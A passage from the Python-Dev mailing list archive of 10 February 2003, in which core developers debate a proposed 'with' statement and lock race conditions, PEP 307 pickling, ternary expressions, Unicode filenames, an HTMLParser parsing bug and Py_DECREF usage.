From bh@intevation.de  Mon Feb 10 12:53:04 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 10 Feb 2003 13:53:04 +0100
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary	wanted)
In-Reply-To: <3E478E58.20607@lemburg.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>
 <3E478E58.20607@lemburg.com>
Message-ID: <6qlm0o9u1b.fsf@salmakis.intevation.de>

"M.-A. Lemburg" <mal@lemburg.com> writes:

> try:
>      with mylock:
>          ...
> finally:
>      ... other cleanup code ...
> 
> The new syntax saves you one line and obscures the code
> rather than clarifying what is happening (who knows what
> mylock does in its __enter__/__exit__ method ?).

If you come across an unfamiliar function or type you look it up in the
documentation or the source. I don't see the problem here.


> The original argument for this was not to save you typing,
> it was built on the rather unlikely case where the process
> receives a signal or MemoryError causing an exception while
> executing the byte codes after calling .acquire() and before
> entering the try-block.
> 
> However, that's not hard to deal with either because
> all you need to do is place the .acquire() call inside
> the try-block and then adding a check whether you have to
> release the lock in the finally-clause.

That just moves the race condition to a different place. If the acquire
call is inside the try block the place of the race condition is between
the acquire call and setting a flag or in the finally clause between
checking a flag and actually releasing the lock.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From guido@python.org  Mon Feb 10 13:07:56 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 08:07:56 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle
 protocol
In-Reply-To: "Your message of Mon, 10 Feb 2003 10:20:59 GMT."
 <2mznp4l9mc.fsf@starship.python.net>
References: <200302071833.h17IXNl11929@odiug.zope.com>
 <2mznp4l9mc.fsf@starship.python.net>
Message-ID: <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net>

> > I'm assuming a fair number of people have been following this already
> > in the checkins list; I think it's ready for review on python-dev:
> >
> >   http://www.python.org/peps/pep-0307.html
> 
> Am I understanding correctly that this means the bozo __getstate__
> method for classes with __slots__ can go away?

Alas, not, for backwards compatibility reasons.  Pickle protocols 0
and 1 can't be changed, and their pickles must be acceptable for
Python 2.2, whose unpickling code doesn't know how to deal with slots.
(Ditto for the semi-bozo __reduce__ inherited from object.)

I could try to remove the bozo __getstate__ and move the check into
the pickling code; that would certainly remove a wart from the code
there.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Feb 10 13:13:20 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 08:13:20 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Mon, 10 Feb 2003 13:38:18 +0100."
 <20030210123818.GA13594@magma.unil.ch>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <061701c2cafb$2387ce60$6d94fea9@newmexico>
 <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>
 <200302022250.37389.aleax@aleax.it>
 <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
 <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico>
 <20030203161042.GA15970@magma.unil.ch> <20030210123818.GA13594@magma.unil.ch>
Message-ID: <200302101313.h1ADDKD00373@pcp02138704pcs.reston01.va.comcast.net>

Note that this was discussed endlessly when generators were first
invented.  IIRC, it appeared impossible to implement this in a
reasonable manner.

> Sorry to reply to myself, just wanted to mention that I found a real
> need for iterators to have an explicit "finally" action.  For my
> program I will have to invent some convoluted way of doing it :-(
> 
> On Mon, Feb 03, 2003 at 05:10:42PM +0100, Armin Rigo wrote:
> > If no first-class thunks are wanted, then maybe the most direct
> > path from today to auto-closing files is to extend the iterator
> > protocol with an optional __leave__() method.  It would be called
> > exactly once when the iterator is considered to be exhausted.  The
> > semantics of 'for' would be modified to always call it at the end
> > of the loop, even when an exception or a return occurs within the
> > loop.
> 
> This seems (to me) natural because in generators you could then put
> a 'yield' inside of a 'try-finally' pair.  The semantics of
> 
>   def g():
>     try:
>       yield 5
>     finally:
>       <so-some-cleanup>
> 
> are quite clear if it is guaranteed that
> 
>   for x in g():
>     ...
> 
> always cause the 'finally' part of the generator to be called at the
> end of the loop.  That's even something that is straightforward to
> implement, given that loops already set up a block stack entry, just
> like try-finally clauses.  It just adds an extra function to the
> iterator protocol (we could even reasonably re-use tp_clear, for
> example).

But since not all generators are used in for-loops, you can't really
make this the for-loop's responsibility.  And the for-loop might break
out and the iterator might be used more later.

The only place where you could possibly do this to cover all cases
would be in the generator's destructor, which isn't guaranteed to be
called at a specific time in Jython.  Not covering all cases seems
worse to me than the current explicit rule that you can't do this.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Mon Feb 10 13:30:27 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 10 Feb 2003 14:30:27 +0100
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads --
 summary	wanted)
In-Reply-To: <6qlm0o9u1b.fsf@salmakis.intevation.de>
References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>	<3E478E58.20607@lemburg.com> <6qlm0o9u1b.fsf@salmakis.intevation.de>
Message-ID: <3E47A973.2020509@lemburg.com>

Bernhard Herzog wrote:
> "M.-A. Lemburg" <mal@lemburg.com> writes:
> 
> 
>>try:
>>     with mylock:
>>         ...
>>finally:
>>     ... other cleanup code ...
>>
>>The new syntax saves you one line and obscures the code
>>rather than clarifying what is happening (who knows what
>>mylock does in its __enter__/__exit__ method ?).
> 
> If you come across an unfamiliar function or type you look it up in the
> documentation or the source. I don't see the problem here.

RTFM fits in with all obfuscation. I don't think that
it does with Python's "explicit is better than implicit".

>>The original argument for this was not to save you typing,
>>it was built on the rather unlikely case where the process
>>receives a signal or MemoryError causing an exception while
>>executing the byte codes after calling .acquire() and before
>>entering the try-block.
>>
>>However, that's not hard to deal with either because
>>all you need to do is place the .acquire() call inside
>>the try-block and then adding a check whether you have to
>>release the lock in the finally-clause.
> 
> That just moves the race condition to a different place. If the acquire
> call is inside the try block the place of the race condition is between
> the acquire call and setting a flag or in the finally clause between
> checking a flag and actually releasing the lock.

Not if the lock object is protected by the global
interpreter lock which usually is the case if the
lock object is implemented C.

Anyway, I don't want to argue here. Just give my vote.

Thanks,
-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 10 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     50 days left
EuroPython 2003, Charleroi, Belgium:                       134 days left



From barry@python.org  Mon Feb 10 13:35:22 2003
From: barry@python.org (Barry A. Warsaw)
Date: Mon, 10 Feb 2003 08:35:22 -0500
Subject: [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com>
 <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
 <20030209165109.GO23059@epoch.metaslash.com>
 <20030209185732.W1706@prim.han.de>
 <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>
 <20030210041746.F1706@prim.han.de>
 <041301c2d0b6$091e4840$6d94fea9@newmexico>
Message-ID: <15943.43674.788264.60647@gargle.gargle.HOWL>

>>>>> "SP" == Samuele Pedroni <pedronis@bluewin.ch> writes:

    SP> From: "holger krekel" <pyth@devel.trillke.net>
    >> if obj.method() if hasattr(obj, 'method') else False:

    SP> don't worry the pro-camp seems converging toward:

    SP> if if hasattr(obj,'method'): obj.method() else: False:

    SP> or

    SP> if (if hasattr(obj,'method'): obj.method() else: False):

"Run away!  Run away!"

gotta-figure-out-a-way-to-get->>-in-there-ly y'rs,
-Barry


From mwh@python.net  Mon Feb 10 13:54:01 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 10 Feb 2003 13:54:01 +0000
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle
 protocol
In-Reply-To: <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net> (Guido
 van Rossum's message of "Mon, 10 Feb 2003 08:07:56 -0500")
References: <200302071833.h17IXNl11929@odiug.zope.com>
 <2mznp4l9mc.fsf@starship.python.net>
 <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <2misvskzra.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

>> > I'm assuming a fair number of people have been following this already
>> > in the checkins list; I think it's ready for review on python-dev:
>> >
>> >   http://www.python.org/peps/pep-0307.html
>> 
>> Am I understanding correctly that this means the bozo __getstate__
>> method for classes with __slots__ can go away?
>
> Alas, not, for backwards compatibility reasons.  Pickle protocols 0
> and 1 can't be changed, and their pickles must be acceptable for
> Python 2.2, whose unpickling code doesn't know how to deal with slots.
> (Ditto for the semi-bozo __reduce__ inherited from object.)

OK, but I'm guessing classes with __slots__ will pickle without
intervention under protocol 2?  Just curious, no big worries.

> I could try to remove the bozo __getstate__ and move the check into
> the pickling code; that would certainly remove a wart from the code
> there.

Anything to get code out of typeobject.c <wink>.

Cheers,
M.

-- 
  I sense much distrust in you.  Distrust leads to cynicism, cynicism
  leads to bitterness, bitterness leads to the Awareness Of True
  Reality which is referred to by those-who-lack-enlightenment as
  "paranoia".  I approve.    -- David P. Murphy, alt.sysadmin.recovery


From mwh@python.net  Mon Feb 10 13:55:27 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 10 Feb 2003 13:55:27 +0000
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> (Guido
 van Rossum's message of "Sun, 09 Feb 2003 20:54:17 -0500")
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
 <20030209165109.GO23059@epoch.metaslash.com>
 <20030209185732.W1706@prim.han.de>
 <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <2mhebckzow.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> (In fact, it seems that ?: has an advantage over the PEP's proposal
> because the ?: stand out more than the 'if' and 'else' keywords.)

This was the thing that surprised me the most when I tried to use the
new syntax for a bit.  My internal parser just saw

    return NAME.NAME NAME NAME.NAME NAME NAME

and gave up.

Cheers,
M.

-- 
  For their next act, they'll no doubt be buying a firewall
  running under NT, which makes about as much sense as
  building a prison out of meringue.                     -- -:Tanuki:-
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html


From just@letterror.com  Mon Feb 10 14:09:13 2003
From: just@letterror.com (Just van Rossum)
Date: Mon, 10 Feb 2003 15:09:13 +0100
Subject: [Python-Dev] Unicode filenames
In-Reply-To: <3E479EDD.6050508@livinglogic.de>
Message-ID: <r01050400-1023-3EC2F78B3D0111D7A290003065D5E7E4@[10.0.0.23]>

Walter D=F6rwald wrote:

> Just van Rossum wrote:
>=20
> > [...]
> > BTW. if I try to create a file with an 8-bit filename which is _not_
> > valid utf-8, I get a strange error:
> >=20
> >   >>> f =3D open("\xff", "w")
> >   Traceback (most recent call last):
> >     File "<stdin>", line 1, in ?
> >   IOError: invalid mode: w
> >   >>>=20
> >=20
> > This exception is thrown when errno is EINVAL, which apparently can
> > also mean that the filename arg is bad. Not sure if we can fix this.

> But when the system default encoding (i.e. sys.getdefaultencoding())
> and the file system encoding are different, I'd say the filename has
> to be transcoded from the system default encoding to the filesystem
> encoding before it is used.

In most places (probably all, uness there's a bug)
Py_FileSystemDefaultEncoding only has relevance for unicode strings:
8-bit strings are passed to the underlying calls unaltered. So the above
traceback is the result of the _OS_ refusing to name a file "\xff",
which is natural as this particular OS (OSX) uses UTF-8 as the native
file system encoding and "\xff" is not valid UTF-8. (I was actually
pleasantly surprised the OS actually _cares_ ;-)

Just


From gminick@hacker.pl  Mon Feb 10 13:53:05 2003
From: gminick@hacker.pl (gminick)
Date: Mon, 10 Feb 2003 14:53:05 +0100
Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser.
In-Reply-To: <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net>
References: <20030209205738.GA1740@hannibal> <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030210135305.GA208@hannibal>

On Sun, Feb 09, 2003 at 08:12:47PM -0500, Guido van Rossum wrote:
> > MSG-ID of the origin: <mailman.1044810540.18789.python-list@python.org>
> Alas, that's not help ful in tracking down the original message.
Why?

> > A bit of investigation showed that the bug exists because of that line:
> >         <a href="http://ss"title="pe">P</a>
> Which is blatantly invalid HTML, of course.
Well, same for me, but as OP said, the w3c validator says the page is ok.

> This isn't really the right forum for this, but I hope you can post
> either a bug report or a patch to sourceforge.
I'll try, but not in this week (no time), anybody can do it earlier?

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]


From skip@pobox.com  Mon Feb 10 14:25:38 2003
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 10 Feb 2003 08:25:38 -0600
Subject: [Python-Dev] Re: Atomic operations
In-Reply-To: <Pine.SOL.4.53.0302092226110.26243@death.OCF.Berkeley.EDU>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <200302051448.h15EmL428173@odiug.zope.com>
 <15938.27939.731673.576239@gargle.gargle.HOWL>
 <15938.40091.534416.426167@gargle.gargle.HOWL>
 <Pine.SOL.4.53.0302092226110.26243@death.OCF.Berkeley.EDU>
Message-ID: <15943.46690.398074.138483@montanaro.dyndns.org>

    Brett> I was actually thinking more along the lines of having something
    Brett> like::

    Brett>  atomic:
    Brett>      lock()
    Brett>  ...

    Brett> with atomic basically shutting down threading temporarily until
    Brett> everything in its body is executed.  

This would presumably generate bytecode something like:

    GRAB_GIL
    lock()
    ... execute the block's code ...
    unlock()
    RELEASE_GIL

Suppose code in your block makes a call to a threading-aware extension
module.  Won't it obligingly release the GIL if it goes to do some longish
operation?  If so, wouldn't you then be screwed?

Skip


From marklists@mceahern.com  Mon Feb 10 14:26:10 2003
From: marklists@mceahern.com (Mark McEahern)
Date: Mon, 10 Feb 2003 08:26:10 -0600
Subject: [Python-Dev] Vote-Pop
In-Reply-To: <GCEDKONBLEFPPADDJCOECEPMHPAA.whisper@oz.net>
Message-ID: <JHEOKEOOLIGLDHCMAHMOAEFMGDAA.marklists@mceahern.com>

> ternary op: -1
>
> David LeBlanc
> Seattle, WA USA

IIRC, Aahz will announce procedures for voting on the python-announce list.
You probably know this.  I hope you don't miss your chance to have your vote
counted.

Cheers,

// m

-



From guido@python.org  Mon Feb 10 14:38:08 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 09:38:08 -0500
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol
In-Reply-To: Your message of "Mon, 10 Feb 2003 13:54:01 GMT."
 <2misvskzra.fsf@starship.python.net>
References: <200302071833.h17IXNl11929@odiug.zope.com> <2mznp4l9mc.fsf@starship.python.net> <200302101307.h1AD7uD00339@pcp02138704pcs.reston01.va.comcast.net>
 <2misvskzra.fsf@starship.python.net>
Message-ID: <200302101438.h1AEc8e21948@odiug.zope.com>

> >> > I'm assuming a fair number of people have been following this already
> >> > in the checkins list; I think it's ready for review on python-dev:
> >> >
> >> >   http://www.python.org/peps/pep-0307.html
> >> 
> >> Am I understanding correctly that this means the bozo __getstate__
> >> method for classes with __slots__ can go away?
> >
> > Alas, not, for backwards compatibility reasons.  Pickle protocols 0
> > and 1 can't be changed, and their pickles must be acceptable for
> > Python 2.2, whose unpickling code doesn't know how to deal with slots.
> > (Ditto for the semi-bozo __reduce__ inherited from object.)
> 
> OK, but I'm guessing classes with __slots__ will pickle without
> intervention under protocol 2?  Just curious, no big worries.

Yes.

> > I could try to remove the bozo __getstate__ and move the check into
> > the pickling code; that would certainly remove a wart from the code
> > there.
> 
> Anything to get code out of typeobject.c <wink>.

I'll give that a try right now.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Mon Feb 10 14:59:22 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Mon, 10 Feb 2003 09:59:22 -0500
Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser.
In-Reply-To: <20030210135305.GA208@hannibal>
References: <20030209205738.GA1740@hannibal>
 <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net>
 <20030210135305.GA208@hannibal>
Message-ID: <15943.48714.611841.482065@grendel.zope.com>

People wrote:
 > > > A bit of investigation showed that the bug exists because of that line:
 > > >         <a href="http://ss"title="pe">P</a>
 > > Which is blatantly invalid HTML, of course.
 > Well, same for me, but as OP said, the w3c validator says the page is ok.

I've opened a bug report on this:

http://www.python.org/sf/683938

I generally take the position that the "letter of the law" is all we
should worry about in cases like this, but the fact that the W3C
validator tells me "the law" isn't exactly interested in this
distinction.  So we should at least tolerate this construct since it
isn't *ambiguous* -- it's just not legal.

"Be lenient in what you accept, strict in what you generate."  Or
something like that.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From bh@intevation.de  Mon Feb 10 14:26:34 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 10 Feb 2003 15:26:34 +0100
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary	wanted)
In-Reply-To: <3E47A973.2020509@lemburg.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>
 <3E478E58.20607@lemburg.com> <6qlm0o9u1b.fsf@salmakis.intevation.de>
 <3E47A973.2020509@lemburg.com>
Message-ID: <6qd6m09pph.fsf@salmakis.intevation.de>

"M.-A. Lemburg" <mal@lemburg.com> writes:

> Bernhard Herzog wrote:
> > "M.-A. Lemburg" <mal@lemburg.com> writes:
> >>The original argument for this was not to save you typing,
> >>it was built on the rather unlikely case where the process
> >>receives a signal or MemoryError causing an exception while
> >>executing the byte codes after calling .acquire() and before
> >>entering the try-block.
> >>
> >>However, that's not hard to deal with either because
> >>all you need to do is place the .acquire() call inside
> >>the try-block and then adding a check whether you have to
> >>release the lock in the finally-clause.
> > That just moves the race condition to a different place. If the acquire
> > call is inside the try block the place of the race condition is between
> > the acquire call and setting a flag or in the finally clause between
> > checking a flag and actually releasing the lock.
> 
> Not if the lock object is protected by the global
> interpreter lock which usually is the case if the
> lock object is implemented C.

That's not enough, unfortunately. 

In the particular case of locks, the threading.Lock object's release
method must only be called when it's locked (same for the other lock
objects AFAICT). Seems to me that this would require a flag at the
python level and then you have the race condition.

Even worse, the race condition is also in something like

try:
    ...
finally:
    mylock.release()

as the finally clause consists of several byte codes.

   Bernhard


-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From guido@python.org  Mon Feb 10 15:16:17 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 10:16:17 -0500
Subject: [Python-Dev] Re: Atomic operations
In-Reply-To: Your message of "Sun, 09 Feb 2003 22:33:33 PST."
 <Pine.SOL.4.53.0302092226110.26243@death.OCF.Berkeley.EDU>
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL> <15938.38361.935496.115469@slothrop.zope.com> <15938.40091.534416.426167@gargle.gargle.HOWL>
 <Pine.SOL.4.53.0302092226110.26243@death.OCF.Berkeley.EDU>
Message-ID: <200302101516.h1AFGHf22750@odiug.zope.com>

> Since Guido seems to have his summaries, I am going to assume the
> discussion ban has been lifted (if I am wrong, Guido, let me know).

Not exactly wrong, but I still have no time to devote to this all.
However, I see that a few PEPs have been added already.  I suggest
that people get together and write PEPs about the other proposals as
well, so we can focus and record the discussion in PEPs rather than in
python-dev archives.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Mon Feb 10 15:29:52 2003
From: aahz@pythoncraft.com (Aahz)
Date: Mon, 10 Feb 2003 10:29:52 -0500
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary	wanted)
In-Reply-To: <6qd6m09pph.fsf@salmakis.intevation.de>
References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> <3E478E58.20607@lemburg.com> <6qlm0o9u1b.fsf@salmakis.intevation.de> <3E47A973.2020509@lemburg.com> <6qd6m09pph.fsf@salmakis.intevation.de>
Message-ID: <20030210152952.GA8654@panix.com>

On Mon, Feb 10, 2003, Bernhard Herzog wrote:
>
> In the particular case of locks, the threading.Lock object's release
> method must only be called when it's locked (same for the other lock
> objects AFAICT). Seems to me that this would require a flag at the
> python level and then you have the race condition.

That's not a problem for threading.RLock().  You can code that as

    lock = threading.RLock()
    try:
        lock.acquire()
    finally:
        lock.release()

Note that currently there's an AssertionError in threading when you do
that; perhaps that should be changed to a Warning?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From pedronis@bluewin.ch  Mon Feb 10 15:36:49 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 10 Feb 2003 16:36:49 +0100
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted)
References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>
Message-ID: <005601c2d11a$3a88e480$6d94fea9@newmexico>

>'with' [ var '=' ] expr ':'
>    suite
>
>    This statement is defined as being equivalent to the following
>    sequence of statements:
>
>var = expr
>
>if hasattr(var, "__enter__"):
>    var.__enter__()
>
>try:
>    suite
>
>finally:
>    if hasattr(var, "__exit__"):
>var.__exit__()
>
>    If the variable is omitted, an unnamed object is allocated on the
>    stack.  In that case, the suite has no access to the unnamed object.

I would not really depend when var is specified, that its binding is not
modified in suite,
I would store expr result away and use that:

var = _secret = expr

... rest of impl uses _secret not var ...

Less fragile.

regards



From pedronis@bluewin.ch  Mon Feb 10 15:42:55 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 10 Feb 2003 16:42:55 +0100
Subject: [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <007801c2d11b$14b4a360$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> Still, I'm beginning to be more and more against any form of
> if-then-else; I'm not yet sure why that is, but I think that I don't
> see enough places where it's needed, and I find code using it often
> harder to read.  Part of that is my general problem with decyphering
> expressions with control flow -- my brain is wired to deal with
> control flow at the statement level very efficiently, but not at the
> expression level.

If the vote pass, you can always add it but declare that it is very very very
bad style <wink>.



From jack@performancedrivers.com  Mon Feb 10 15:57:48 2003
From: jack@performancedrivers.com (Jack Diederich)
Date: Mon, 10 Feb 2003 10:57:48 -0500
Subject: [Python-Dev] bitwise operators and lambdas
Message-ID: <20030210105748.A18606@localhost.localdomain>

I don't expect action or consensus on these, but I thought I get them on 
record by posting

1) move bitwise operators to a package and deprecate them from the 
   language as special syntax

2) use pipes as shorthand for lambdas

re: 1) bitwise operators

bitwise OR is used on 61 lines in Lib/ out of 70k+ lines. There is nothing 
inheritly un-pythonic about bitwise operators but they don't really come up 
much in a high level language like python.  They just seem 'extra' esp since 
we spell || as 'or' and && as 'and'.   sets are about the only thing to 
usefully define __xor__ and its kind.

re: 2) lambda shorthand

Most people hate lambdas, but I like em.  They would beat listcomps in 
readability if it weren't for the clunky appearance of the string 'lambda' 
everywhere they are used.  People seem to like list comps over filter/map 
mainly because they save keystrokes.

old             shorthand
lambda:foo()    ||foo()
lambda x:foo(x) |x|foo(x)

l = [x.guy for (x) in blah]
l = map(|x|x.guy, blah)

l = [x for (x) in blah if x < 7]
l = filter(|x|x < 7, blah)

l = [x.guy for (x) in blah if x.guy < 7]
l = map(|x|x.guy, filter(|x|x.guy < 7, blah))

I also like the passing-something-on implication of using a pipe character.
Plus I like the left-to-right reading of map/filter over listcomps.

dreaming-of-pytohn-3k-ly,

-jackdied


From niemeyer@conectiva.com  Mon Feb 10 16:02:03 2003
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Mon, 10 Feb 2003 14:02:03 -0200
Subject: [Python-Dev] UNREF invalid object
In-Reply-To: <LNBBLJKPBEHFEDALKOLCGEDGDNAB.tim.one@comcast.net>
References: <20030210033512.GA16029@ibook.distro.conectiva> <LNBBLJKPBEHFEDALKOLCGEDGDNAB.tim.one@comcast.net>
Message-ID: <20030210160203.GA11876@ibook.distro.conectiva>

> It's not just more elegant, it's mandatory.  If you look at the expansion of
> Py_DECREF, you'll find that it does all sorts of (necessary) things under
> different build types.  In particular, under a debug build, calling
> PyObject_Del() fails to unlink the object from the doubly-linked list of all
> objects, and that's exactly the cause of an "UNREF invalid object" error.
> Py_DECREF() instead arranges to call _Py_ForgetReference(), which (among
> other things) does the unlinking in a debug build.  You *could* call all
> that stuff yourself by hand, but then you'd need as much #ifdef pain as goes
> into the expansion of Py_DECREF in order to get it all right.

Hummm... I thought PyObject_Del could be safely used when the object was
"private". Ok, I'll investigate what Py_DECREF really does, and why it
breaks if PyObject_Del is used.

> > OTOH, I wouldn't like to get over the problem without knowing what's
> > really happening.  Is this a common problem pattern?
> 
> Nope.  Everyone else <wink>

Ok.. I should have asked "is this something obviously stupid?" instead.

:-))

> calls PyObject_Del only on the "self" argument to the type's
> tp_dealloc function (which is called *by* the expansion of
> Py_DECREF(self), so self must not be subjected to a Py_DECREF again).
> Everything else should go thru Py_DECREF, including contained objects.

This paragraph looks like a good documentation to put somewhere.

Thanks for explaining.

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From guido@python.org  Mon Feb 10 16:08:41 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 11:08:41 -0500
Subject: [Python-Dev] bitwise operators and lambdas
In-Reply-To: Your message of "Mon, 10 Feb 2003 10:57:48 EST."
 <20030210105748.A18606@localhost.localdomain>
References: <20030210105748.A18606@localhost.localdomain>
Message-ID: <200302101608.h1AG8fQ24107@odiug.zope.com>

> I don't expect action or consensus on these, but I thought I get
> them on record by posting

I suggest that you also propose a new name for the resulting language.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pyth@devel.trillke.net  Mon Feb 10 16:11:20 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 10 Feb 2003 17:11:20 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <007801c2d11b$14b4a360$6d94fea9@newmexico>; from pedronis@bluewin.ch on Mon, Feb 10, 2003 at 04:42:55PM +0100
References: <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> <007801c2d11b$14b4a360$6d94fea9@newmexico>
Message-ID: <20030210171120.T1706@prim.han.de>

Samuele Pedroni wrote:
> From: "Guido van Rossum" <guido@python.org>
> > Still, I'm beginning to be more and more against any form of
> > if-then-else; I'm not yet sure why that is, but I think that I don't
> > see enough places where it's needed, and I find code using it often
> > harder to read.  Part of that is my general problem with decyphering
> > expressions with control flow -- my brain is wired to deal with
> > control flow at the statement level very efficiently, but not at the
> > expression level.
> 
> If the vote pass, you can always add it but declare that it is very very very
> bad style <wink>.

Or better yet, just introduce a fast c-implemented "ifelse" that does it without
short-circuiting.  Thus we can stay with "limited" but easily readable 
expressions with Python.  IIRC nobody on c.l.py has come up with a real need
for short-circuiting with the ternary op, anyway. 

Writing simple statements rather than dense expressions seems
like a key feature of Python to me.  Although i love oneliners 
(look at the aspn-cookbook-site) to explore the language. 

Better to think <wink> with </wink> new statements rather 
than new expressions chained to an endless series of names.

    holger


From pyth@devel.trillke.net  Mon Feb 10 16:20:36 2003
